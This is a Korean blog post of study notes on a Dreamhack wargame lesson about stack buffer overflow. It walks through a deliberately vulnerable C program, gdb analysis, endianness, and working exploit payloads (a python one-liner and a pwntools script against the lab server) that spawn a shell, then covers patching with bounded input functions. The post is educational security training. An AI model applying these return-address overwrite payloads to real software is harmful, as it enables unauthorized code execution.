공부중/시스템 해킹

[Dreamhack] Exploit Tech: Return Address Overwrite

silver surfer 2024. 9. 16.

지난 강의에서 스택 버퍼 오버플로우가 발생하면 반환 주소(Return Address)가 조작될 수 있다는 것을 배웠다.

이번 강의에서는 취약점이 존재하는 예제 프로그램을 공격하고, 셸을 획득해보는 실습을 할 것이다.

실습에 사용할 예제 코드는 다음과 같다. 바이너리는 본 워게임의 첨부파일로 제공되므로, 다운로드해서 실습할 수 있다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

** 분석

취약점 분석

프로그램의 취약점은 scanf("%s",buf)에 있다. scanf 함수의 포맷스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징이 있다.

이런 특징으로 인해, 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 "%[n]s"의 형태로 사용해야 한다.

이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야한다. 대표적으로 strcpy, strcat, sprintf가 있다. 코드를 작성할 때는 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는것이 좋다.

이 예제에서는 크기가 0x28인 버퍼에 scanf("%s", buf)로 입력 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main 함수의 반환 주소를 덮을 수 있을 것이다.

 

💡 C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성

C계열 언어에서는 널바이트("\00")로 종료되는 데이터 배열을 문자열로 취급하며, 문자열을 다루는 대부부느이 표준 함수는 널바이트를 만날 때까지 연산을 진행한다. 예를 들어, cha *strcpy(char *dest, const char *src)은 src 배열의 첫 번째 인덱스부터 널 바이트가 저장된 인덱스까지 참조하여 dest에 값을 복사한다.

여기서 생각해봐야할 것은 sc에 널바이트가 없을 경우이다. 문자열 함수는 널바이트를 찾을때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시킨다. 이러한 동작으로 인해 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상을 Index Out-Of-Bound라고 부르며, 줄여서 OOB라고도 한다. 그리고 해당 버그를 발생시키는 취약점을 Out-Of-Bound(OOB) 취약점이라고 부른다.

OOB는 심각한 보안 취약점 중 하나로, 이를 이용하여 해커는 프로그래머가 의도하지 않은 주소의 데이터를 읽거나, 조작할 수 있고, 몇몇 조건이 만족되면 소프트웨어에 심각한 오동작을 일으킬 수도 있다. 이를 방지하기 위해 개발자는 입력의 길이를 제한하는 문자열 함수를 사용해야 하며, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야한다.

 

** 트리거

발견한 취약점을 확인해보자. 이런 행위를 취약점을 발현시킨다는 의미에서 트리거(trigger)라고도 표현한다.

바이너리를 실행해보면, 입력을 받는 메시지가 출력된다. 여기에 "A" 다섯개를 입력해보자

(코어 컴파일 시 -g 옵션을 넣어주는 것이 좋다)

-g : 디버거에 제공하는 디버깅 정보(변수타입, 전역 심볼명, 주소)를 바이너리에 삽입

$ gcc -o rao rao.c -fno-stack-protector -no-pie -g
$ ./rao
Input: AAAAA
$

 

프로그램이 정상적으로 종료되었다.

 

이번에는 취약점을 트리거하기 위해 "A"를 64개 입력해보자.

$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    1828520 segmentation fault (core dumped)  ./rao

 

짧은 입력을 줬을때와 달리, Sementation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다. 이는 프로그램이 잘못된 메모리 주소에 접근했다는 의미이며, 프로그램에 버그가 발생했다는 신호이다.

이 에러에 대한 자세한 내용은 여기에서 확인할 수 있다.

뒤의 (core dumped)는 코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

🚩 Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성합니다.

💡 코어 파일이 생성되지 않았습니다.

리눅스는 기본적으로 코어파일의 크기에 제한을 두고있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 새엉하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다. 아래의 커멘드로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.

$ ulimit -c unlimited
# 코어파일 크기 제한 해제

 

** 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 셸을 획득하기 위한 계획을 세워보자.

 

다음 명령어로 코어파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400729 in main ()
...
pwndbg>

 

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main 함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다. 이는 실행 가능한 메모리의 주소가 아니므로, 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.

수업에서 한 것처럼 위 코드를 따라했더니 잘 안 돼서 아래의 명령어를 실행했다.

gdb ./rao ./rao.core
pwndbg> b *_main
No symbol "_main" in current context.
pwndbg> r
Starting program: /home/boeun/Desktop/task/rao 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x000000000040126a in main () at rao.c:28
28	}

 

segfault 발생 시 프로그램 상태

 

** 익스플로잇

스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야한다. 이를 위해 main의 어셈블리 코드를 살펴보자. 주목해서 봐야할 코드는 scanf에 인자를 전달하는 부분이다.

pwndbg> nearpc
   0x400706             call   printf@plt 

   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"__isoc99_scanf

 

위 명령어로는 잘 안 돼서 아래와 같은 명령어를 입력하고 보았다.

break main
run

 

ni를 대체 몇 번 한거지...

 

  • lea rax, [rbp - 0x30]:
    • rbp - 0x30 위치에 있는 메모리 주소를 rax 레지스터에 로드합니다. 이 주소는 scanf() 함수로 입력된 값을 저장할 버퍼의 시작 주소(buf)입니다.
  • mov rsi, rax:
    • rsi 레지스터에 buf의 주소(rax에 로드된 값)를 저장합니다. 이는 scanf() 함수의 두 번째 인자인 메모리 주소로 사용됩니다.
  • lea rdi, [rip + 0xdbd]:
    • rdi 레지스터에 "%s" 형식 문자열의 주소를 로드합니다. rdi는 scanf()의 첫 번째 인자입니다.
  • mov eax, 0:
    • eax 레지스터에 0을 저장합니다. 이는 호출 규약에 따라 scanf() 호출 전에 필요합니다.
  • call isoc99_scanf@plt:
    • scanf() 함수를 호출하여 사용자 입력을 받고, 해당 입력을 buf에 저장합니다.
  • leave와 ret:
    • 함수의 종료를 처리하는 명령어로, 스택을 정리하고 호출자에게 제어를 돌려줍니다.

 

이를 의사코드로 표현하면 다음과 같다.

scanf("%s", (rbp-0x30));

즉, 오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다. 이를 바탕으로 스택 프레임을 그려보면 다음 그림과 같다.

입력할 버퍼와 반환주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 쓰레기값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있을 것이다.

 

** get_shell() 주소 확인 

이 예제에서는 셸을 실행해주는 get_shell() 함수가 있으므로, 이 함수의 주소로 main 함수의 반환 주소를 덮어서 셸을 확득할 수 있다.

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};

   execve(cmd, args, NULL);
}

 

get_shell()의 주소를 찾기 위해 gdb를 사용한다.

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit

get_shell()의 주소가 0x4011dd임을 확인했다.

 

** 페이로드 구성

이제 익스플로잇에 사용할 페이로드(Payload)를 구성해야한다 시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다. 앞에서 파악한 정보를ㄹ 바탕으로 다음 그림과 같은 페이로드를 구성할 수 있다.

페이로드에 의해 오염되는 스택프레임

 

** 엔디언 적용

구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야한다. 엔디언은 메모리에서 데이터가 정렬되는 방식으로 주로 리틀엔디언(Little-Endian, LE)과 빅 엔디언(Big-Endian, BE)이 사용된다.

리틀 엔디언에서는 데이터의 Most Significant Byte (MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다.

예를 들어 0x12345678은 엔디언에 따라 다음과 같이 저장된다.

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야한다. 이 로드맵은 리틀 엔디언을 사용하는 인텔 x86-64 아키텍처를 대상으로 하므로, get_shell()의 주소인 0x4011dd은

"\xdd\x11\x40\x00\x00\x00\x00\x00"으로 전달되어야 한다.

아래의 코드로 0x4011dd이 메모리에 어떻게 저장되는지 직접 확인해볼 수 있다.

// Name: endian.c
// Compile: gcc -o endian endian.c

#include <stdio.h>
int main() {
  unsigned long long n = 0x4006aa;

  printf("Low <-----------------------> High\n");

  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));

  return 0;
}
$ ./endian
Low <-----------------------> High
0xaa 0x6 0x40 0x0 0x0 0x0 0x0 0x0

 

** 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다. 커맨드가 다소 복잡해보이는데, 이는 파이썬으로 출력한 페이로드를 rao의 입력으로 직접 전달한다.

(내 실습 코드랑 강의랑 조금 다름. 아래는 내 실습 기준)

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

 

 

** 취약점 패치

취약점 패치

취약점을 발견하는 것만큼 중요한 것이 발견한 취약점을 패치하는 것이다. 이 로드맵에서는 여러가지 취약점을 소개하는 동시에, 강의의 부록에서 취약점의 패치 방법을 같이 소개할 것이다.

해당 취약점이 발생하는 다양한 코딩 패턴과 패치 방법을 학습하고 싶다면, 관련 시큐어코딩 로드맵을 수강하면 된다

🚧 시큐어 코딩 로드맵은 현재 준비 중입니다.

 

rao

rao에서는 위험한 문자열 입력함수를 사용하여 취약점이 발생했다. 해당 취약점을 패치하기 위해 C언어에서 자주 사용되는 문자열 입력함수와 패턴들을 살펴보고, 각각의 특징을 알아보자.

 

입력함수(패턴)
위험도
평가 근거
gets(buf)
매우 위험
  • 입력받는 길이에 제한이 없음.
  • 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널바이트를 삽입하므로, 버퍼를 꽉채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.
scanf(“%s”, buf)
매우 위험
  • 입력받는 길이에 제한이 없음.
  • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
scanf(“%[width]s”, buf)
주의 필요
  • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, 오버플로우가 발생할 수 있음.
  • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
fgets(buf, len, stream)
주의 필요
  • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.
  • 버퍼의 널 종결을 보장함.
    • len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.
    • len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.
  • 데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨

 

패치 퀴즈

rao.c의 취약점을 패치하려할 때, 빈 칸에 들어갈 가장 적절한 코드를 생각해보자. 답은 아래 스포일러 탭을 눌러 확인 가능

(hint: "%[n]s")

// Name: rao_patched.c
// Compile: gcc -o rao_patched rao_patched.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void get_shell(){
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main(){
  char buf[0x28];

  printf("Input: ");
  (a)______________
  return 0;
}

scanf("%39s",buf);

 

마치며

강의 요약📜

이번 강의에서는 엔디언의 개념과, 스택 오버플로우를 이용하여 반환 주소를 덮는 공격 기법을 살펴보았습니다. 실습의 편의를 위해 get_shell() 이라는 함수를 정의하여 사용했으나, 실제로는 개발자가 악의적으로 삽입하지 않는 한, 저런 함수가 포함된 프로그램은 존재하기 어렵습니다. 앞으로의 강의를 통해 저런 함수 없이 어떻게 셸을 획득할 수 있을지 살펴보도록 하겠습니다.

또한, 이번 실습에서는 파이썬을 이용한 커맨드로 간단한 형식의 익스플로잇을 수행했으나, 프로그램이 복잡해지면 이런 방식으로 익스플로잇을 하기가 어렵습니다. 해커들은 이런 어려움을 해소하고, 더욱 편리하게 익스플로잇을 수행하기 위해 pwntools라는 파이썬 모듈을 개발하였습니다. 한 번 Tool: pwntools 강의를 다시 살펴보고 rao 를 pwntools를 활용하여 익스플로잇 해보면서 사용법을 익혀보시길 바랍니다.

 

파이썬 익스플로잇 코드

from pwn import *

# Dreamhack 서버 정보
context.arch = "amd64"
p = remote("host3.dreamhack.games", 16254)

payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

 

댓글